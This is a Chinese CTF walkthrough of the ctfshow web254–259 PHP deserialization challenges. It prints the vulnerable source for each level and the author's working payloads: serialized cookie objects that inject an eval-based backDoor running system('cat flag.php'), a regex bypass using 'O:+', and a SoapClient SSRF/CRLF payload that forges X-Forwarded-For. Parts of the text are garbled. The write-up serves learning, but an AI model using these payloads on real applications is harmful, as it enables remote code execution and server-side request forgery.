序列化和反序列化
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
源码中并没有序列化,所以类中的函数都不能触发,所以直接get传参,让username和password的值都等于原来的初始值
?password=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //这里使用了反序列化
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
PHP 的 C O O K I E 变 量 用 于 取 回 c o o k i e 的 值 。 ‘ _COOKIE 变量用于取回 cookie 的值。` COOKIE变量用于取回cookie的值。‘_COOKIE[‘user’]`即是取回名叫user的cookie的值,所以这题要抓包在cookie头注入
构造序列化,因为输出flag的条件是isvip为真,所以就将类中的isVip属性进行序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$a=new ctfshowUser();
$b=serialize($a);
echo $b;
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
将序列化的内容通过url编码从cookie头传入可以得到flag
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){ //要求username和password的值不同
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
构造序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='123456';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){ //要求username和password的值不同
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$a=new ctfshowUser();
$b=serialize($a);
echo $b;
O:11:"ctfShowUser":3:{s:8:"username";s:6:"123456";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a6%3a%22123456%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code); //这里可以利用eval函数执行命令执行命令
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
构造序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $class = ' ';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");';
}
$a=new ctfShowUser();
$b=serialize($a);
echo $b;
O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"%00backDoor%00code";s:23:"system("cat flag.php");";}}
抓包后再cookie头注入以下内容
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
web258
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这题比上题多了一个正则绕过,/[oc]:\d+:/i
这题过滤的是O:数字的格式,本来没想到怎么处理,看了wp,这里再O和数字之间吗加上+就可以实现绕过了,但是序列化完再进行url编码就就可以绕过了
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $class = ' ';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");'; //或者system('cat f*')
}
$a=new ctfShowUser();
$b=serialize($a);
echo $b;
//O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("cat flag.php");";}}
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
?username=xxxxxx&password=xxxxxx
user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
如上图注入即可得到flag
web259
没看懂
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
百度这里用到的是php的原生类SoapClient
构造以下函数
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
flag.php源码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
12345678910111213
当然这是个不完整的源码,应该还有一条判断真实ip的也就是
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}
123
所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。
那么ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
另外用到的一个文章识点就是CRLF,具体的可以先看下大佬写的[文章](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html)
payload:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
12345678
直接get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。